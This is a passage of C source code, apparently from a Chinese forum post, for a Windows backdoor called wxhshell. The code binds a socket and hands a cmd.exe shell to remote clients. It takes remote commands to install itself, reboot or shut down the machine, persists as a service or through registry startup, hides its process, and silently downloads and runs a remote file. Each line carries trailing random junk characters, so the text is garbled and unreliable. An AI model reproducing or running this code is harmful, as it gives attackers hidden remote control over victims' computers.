  ]"?<y s  
  // 帮助 /1D.Ud^  
  case '?': { 5sj$XA?5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =;F7h @:  
    break; FD~ U F;VQ  
  } s,pg4nst56  
  // 安装 NxDVU?@p*  
  case 'i': { 3lEP:Jp  
    if(Install()) fU\;\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,)/D_{1  
    else ksJ 1:_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'i:lV'  
    break; 86!$<!I  
    } $ER9u2  
  // 卸载 f"NWv!  
  case 'r': { SG1AYUs V  
    if(Uninstall()) 9qB4\ONXZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1C]BaPbL  
    else gjFQDrz(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #/8 Na v  
    break; `B:hXeI  
    } rhX?\_7o  
  // 显示 wxhshell 所在路径 TJ>1?W\Z  
  case 'p': { vA[7i*D{w  
    char svExeFile[MAX_PATH]; ,7DyTeMpN  
    strcpy(svExeFile,"\n\r"); 94]i|2qj*  
      strcat(svExeFile,ExeFile); y+V>,W)r7  
        send(wsh,svExeFile,strlen(svExeFile),0); cM4{ e^  
    break; #yU"n-eLR  
    } %o0H#7'  
  // 重启 pp{GaCi  
  case 'b': { 3`RI[%AN~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G )`gn  
    if(Boot(REBOOT)) ( z F_<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hb$v  
    else { Ts|;5ya5m  
    closesocket(wsh); [-81s!#mkw  
    ExitThread(0); F1L[C4'  
    } &&m1_K  
    break; \3%3=:  
    } AxF$7J(  
  // 关机 Ul'H(eH.v  
  case 'd': { 1mR@Bh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 52,'8` ]  
    if(Boot(SHUTDOWN)) L/%{,7l<^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -^;,m=4{3  
    else { Uz[#ye  
    closesocket(wsh); NR-<2 e3  
    ExitThread(0); OsVz[wN  
    } 9C7HL;MF  
    break; (:%t  
    } g[~J107%A  
  // 获取shell h0$ \JXk  
  case 's': { \OWxf[  
    CmdShell(wsh); Lxv_{~I*  
    closesocket(wsh); so| U&`G  
    ExitThread(0); <X5ge>.  
    break; $fT#Wva-\d  
  } 0>e]i[P.  
  // 退出 %nE%^Enw  
  case 'x': { <]|!quY<*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yX%> %#$  
    CloseIt(wsh); vq-;wdq?2  
    break; _J#oAE5]!  
    } /F''4%S?E  
  // 离开 +qqCk  
  case 'q': { "{3|(Qs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PI,2b(`h_  
    closesocket(wsh); Ml{4)%~Y7f  
    WSACleanup(); z(2G"}  
    exit(1); ~Ga{=OM??  
    break; A`>^A]%  
        } =^l`c$G<  
  } hhI*2|i"L  
  } Gl6:2  
]"YXa~b  
  // 提示信息 0tPwhJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /OMgj7olD  
} e eyZ $n  
  } /[ Rp~YzW  
gp H@F X  
  return; H`Zg-j`  
} Bsd~_y}8  
%.Kr`#lCr  
// shell模块句柄 3/(eK%d4Xb  
int CmdShell(SOCKET sock) TC@F*B;  
{ !1]jk(Z  
STARTUPINFO si; s$0dLEa9  
ZeroMemory(&si,sizeof(si)); A@4{-e\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JRE\R&>g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F&3:]1  
PROCESS_INFORMATION ProcessInfo; =)N6 R  
char cmdline[]="cmd"; m6 Y0,9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A2\3.3  
  return 0; /'_Yct=  
} hw)z]  
/rK/ l  
// 自身启动模式 g0s4ZI+T  
int StartFromService(void) CDr0QM4k:.  
{ LcNI$g;}Yf  
typedef struct f'`y-]"V5)  
{ Mpk7$=hjc  
  DWORD ExitStatus; a"Ly9ovW  
  DWORD PebBaseAddress; O0bOv S  
  DWORD AffinityMask; )|5mW  
  DWORD BasePriority; <;jg/  
  ULONG UniqueProcessId; iU=:YPE+ .  
  ULONG InheritedFromUniqueProcessId; u09D`QPP]  
}   PROCESS_BASIC_INFORMATION; +>c%I&h}`  
bX5/xf$q  
PROCNTQSIP NtQueryInformationProcess; /len8FRf  
beV+3HqB8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DiZv sc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *TCV}=V G  
<KStl fX  
  HANDLE             hProcess; d`j<Bbf-  
  PROCESS_BASIC_INFORMATION pbi; r?pFc3 ~N  
Z-" NLwt[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5>=4$!`  
  if(NULL == hInst ) return 0; f3h]t0M  
2n#H%&^?a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $?LegX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oJ#;XR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y`/:E<fVk  
:x^e T  
  if (!NtQueryInformationProcess) return 0; d?cCSf  
ec*Ni|`Z'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t~qAA\p}o  
  if(!hProcess) return 0; IEI&PRD  
C*t0`3g d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cA| n*A-j<  
3#\C!T0y  
  CloseHandle(hProcess); c{x:'@%/s'  
ld5+/"$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zY-?Bv_D  
if(hProcess==NULL) return 0; &b-&0 rTqz  
!2/o]_K@+  
HMODULE hMod; XG5T`>Yl  
char procName[255]; ,XN4Iy#BZl  
unsigned long cbNeeded; vo~Qo;m  
w7\ \m9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N%=,S?b  
KmqgP`Cu  
  CloseHandle(hProcess); d*@K5?O.  
,.;{J|4P  
if(strstr(procName,"services")) return 1; // 以服务启动 O >@Q>Z8W?  
^.*zBrFx  
  return 0; // 注册表启动 8hSw4S "$  
} xsvJjs;=  
V,?])=Ax  
// 主模块 DV*e.Y>  
int StartWxhshell(LPSTR lpCmdLine) GK3cQw  
{ :01B)~^  
  SOCKET wsl; @Yw42`> !s  
BOOL val=TRUE; 8zjJshE/  
  int port=0; _5OxESE  
  struct sockaddr_in door; bJ eF1LjS  
eF4f7>5Cv  
  if(wscfg.ws_autoins) Install(); ,WAJ& '^  
[EQTrr( D  
port=atoi(lpCmdLine); rV*Ri~Vx  
9pk-#/ag  
if(port<=0) port=wscfg.ws_port; s>{\^T7y  
zOy_qozk  
  WSADATA data; R[QBFL<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )L_@l5l  
/U6ry'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j|[>f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vJX0c\e  
  door.sin_family = AF_INET; LF+E5{=:R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a?X@ D<.;  
  door.sin_port = htons(port); Ac}5,  
H}8kku>7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n9Vr*RKM)  
closesocket(wsl); `y{[e j  
return 1; `@So6%3Y|  
} /7ykmW  
z.tN<P7  
  if(listen(wsl,2) == INVALID_SOCKET) { ke2M&TV  
closesocket(wsl); UunZ/A$]m  
return 1; w ,0OO f  
} X"jtPYCpV{  
  Wxhshell(wsl); i nk !>Z  
  WSACleanup(); dChMjaix  
_Y)Wi[  
return 0; =t.T9'{  
Xs~IoU  
} SXNde@% {  
74c5\UxA  
// 以NT服务方式启动 xE*. ,:,&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5d-rF:#  
{ &WS'Me  
DWORD   status = 0; ;RMevVw|  
  DWORD   specificError = 0xfffffff; "cvhx/\1#  
J2$,'(!(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 lwoTGVZj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0Ld"df*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j&q%@%Gm  
  serviceStatus.dwWin32ExitCode     = 0; =i},$"Bf*%  
  serviceStatus.dwServiceSpecificExitCode = 0; | _nBiHjNn  
  serviceStatus.dwCheckPoint       = 0; TrQUhmS/!  
  serviceStatus.dwWaitHint       = 0; ~CHVU3  
\ AB)L{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nUCOHVI7  
  if (hServiceStatusHandle==0) return; NFqGbA|  
U[Lr+nKo\  
status = GetLastError(); zT>BC}~.b  
  if (status!=NO_ERROR) lx> ."rW  
{ lnK#q .]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5!Ovd O}g  
    serviceStatus.dwCheckPoint       = 0; YU\k D  
    serviceStatus.dwWaitHint       = 0; $KS!vS7  
    serviceStatus.dwWin32ExitCode     = status; qTG i9OP6/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7}pg7EF3z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FJn.V1  
    return; nW oh(a  
  } O0eM*~zI  
}:!X@C~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; drbim8 !q~  
  serviceStatus.dwCheckPoint       = 0; !&5*H06  
  serviceStatus.dwWaitHint       = 0; | 3`8$-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T`GiM%R;g  
} .X:,]of  
mri g5{  
// 处理NT服务事件,比如:启动、停止 Mt@Ma ]!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WYIv&h<h"  
{ #K!"/,d@>J  
switch(fdwControl) )^ PWr^  
{ I ^[[*Bh*C  
case SERVICE_CONTROL_STOP: ZzxWKIE'c  
  serviceStatus.dwWin32ExitCode = 0; eYevj[c;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YdN]Tqc  
  serviceStatus.dwCheckPoint   = 0; gJ^taUE  
  serviceStatus.dwWaitHint     = 0; 4zZ.v"laVM  
  { '1~;^rU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s&XL{FE  
  } o.s(=iG  
  return; U.Y7]#P:  
case SERVICE_CONTROL_PAUSE: F45-M[z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /<Z3x _c  
  break; Y8N+v+V/  
case SERVICE_CONTROL_CONTINUE: FuG;$';H75  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N*)O_Ki  
  break; }i^$ li@  
case SERVICE_CONTROL_INTERROGATE: `Q[NrOqe"  
  break; +zEyCx=8H  
}; }T}xVd0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (O& HCT|  
} yR"mRy1  
lNTbd"}$:  
// 标准应用程序主函数 Fh/sD?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [2!C ^ \t  
{ "]\3t;IT  
rbl^ aik  
// 获取操作系统版本 ph~BxK )i6  
OsIsNt=GetOsVer(); ux6p2Sk;K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k *>"@  
;d FJqo82  
  // 从命令行安装 %"WhD'*z}  
  if(strpbrk(lpCmdLine,"iI")) Install(); \s!x;nw[  
ncTMcu  
  // 下载执行文件 #WS>Z3AY  
if(wscfg.ws_downexe) { wJ"]H!r0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,H1K sN  
  WinExec(wscfg.ws_filenam,SW_HIDE); UD9JE S,  
} @Gy.p5J8  
- FJLM  
if(!OsIsNt) { 9SJSUv:@  
// 如果时win9x,隐藏进程并且设置为注册表启动 rK|("  
HideProc(); U*,\UF  
StartWxhshell(lpCmdLine); d]MpE9@'v  
} C~C`K%7  
else X,{[R |  
  if(StartFromService()) Av4(=}M}@  
  // 以服务方式启动 ) $0>L5d:  
  StartServiceCtrlDispatcher(DispatchTable); RE4WD9n  
else Ty#sY'%  
  // 普通方式启动 WdB\n/BWB  
  StartWxhshell(lpCmdLine); Xz9[0;Q  
>?6HUUQ  
return 0; JpxQS~VX  
}
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只看该作者 1 发表于: 2006-10-10
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